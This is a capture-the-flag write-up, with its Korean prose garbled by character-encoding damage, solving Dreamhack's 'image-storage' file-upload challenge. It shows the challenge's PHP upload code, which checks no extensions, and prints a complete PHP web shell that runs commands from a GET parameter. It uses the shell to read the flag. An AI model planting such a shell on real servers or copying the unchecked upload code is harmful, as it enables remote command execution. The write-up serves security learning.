[Web] File Vulnerability ์ค์ต (Dreamhack 'image-storage' ๋ฌธ์ )
list.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container"><ul>
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
</ul></div>
</body>
</html>
..,.,index.html์ ์ ์ธํ ํ์ผ๋ค์ ๋์ดํ๊ณ ์๋ค.
๊ทธ๋ฆฌ๊ณ a ํ๊ทธ๋ฅผ ์ด์ฉํ๊ธฐ ๋๋ฌธ์ ํ์ผ๋ค์ ๋๋ฅด๋ฉด ๊ฑฐ๊ธฐ๋ก ๋ค์ด๊ฐ ์ ์๊ฒ ๋๋ค.
upload.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">ํ์ผ ์
๋ก๋</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
ํ์ผ ํ์ฅ์๋ฑ์ ๋ํ ๊ฒ์ฆ ์์ด ๊ทธ๋ฅ ์ฌ๋ฆด ์ ์๊ฒ ํ๊ณ ์๋ค.
๊ทธ๋ฆฌ๊ณ ์ด๋ ๊ฒฝ๋ก์ ์ ์ฅ๋์๋์ง ๋ํ ์ถ๋ ฅํด์ฃผ๊ณ ์๋ค
๊ฐ๋จํ ์คํฌ๋ฆฝํธ ํ์ผ๋ก 1์ ์ถ๋ ฅํ๊ฒ ํด์ฃผ์๋๋ ์๋ ์คํ์ด ์ ๋์๋ค.
๋ฐ๋ผ์ Stored XSS ๋ํ ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
๋ฐ๋ผ์ ์น์์ ์ ๋ก๋ํ๊ณ url์ ํตํด ํด๋น ๊ฒฝ๋ก์ ์ ๊ทผํด์ ์น์์ ์คํํ๋ฉด ๋ ๊ฒ ๊ฐ๋ค.
ํ์ผ์ ํ์ฅ์๋ ์๋ต์ Conetent-Type์ ์ํด ์น ๋ธ๋ผ์ฐ์ ๋ ์ด๋ฅผ ๋ค๋ฅด๊ฒ ์ฒ๋ฆฌํ๊ฒ๋๋ค.
์๋ฅผ ๋ค์ด php,asp,jsp์ ํ์ฅ์๋ฅผ ๊ฐ์ง ์น ๋ฆฌ์์ค์ ์ ๊ทผํ๋ ๊ฒฝ์ฐ, ์ด ํ์ผ์ ์คํํ๊ฒ ๋๋ค. (๋ฐ๋ผ์ ์ด์๊ฐ์ ๋์ ๋ฆฌ์์ค์ ํ์ฅ์๋ ๋ณด์์ ์ผ๋ก ๋ง์๋๋ ๊ฒ์ด ์์ ํ ๊ฒ์ด๋ค)
๋ํ ์๋ฒ์ ํ์ผ ์์คํ ์ ์ด์ฉํ๋ ๊ฒ์ด ์๋๋ผ ํด๋ผ์ฐ๋ ํ๊ฒฝ์ ์ด์ฉํ๋ฉด ์ข๋ค.
AWS, Azure, GCP์ ๊ฐ์ ์ ์ ์คํ ๋ฆฌ์ง๊ฐ ์ด ์์์ด๋ค.
์๋ฌดํผ ๊ฐ๋จํ ์น์์ ์์ฑํ์
(์ถ์ฒ: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 )
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre>
</body>
</html>
์ด๋ฅผ ์ ๋ก๋ํ๊ณ ๋ช ๋ น์ด๋ฅผ ์คํํ๋ ํ๋๊ทธ๋ฅผ ์ฝ์ ์ ์์๋ค!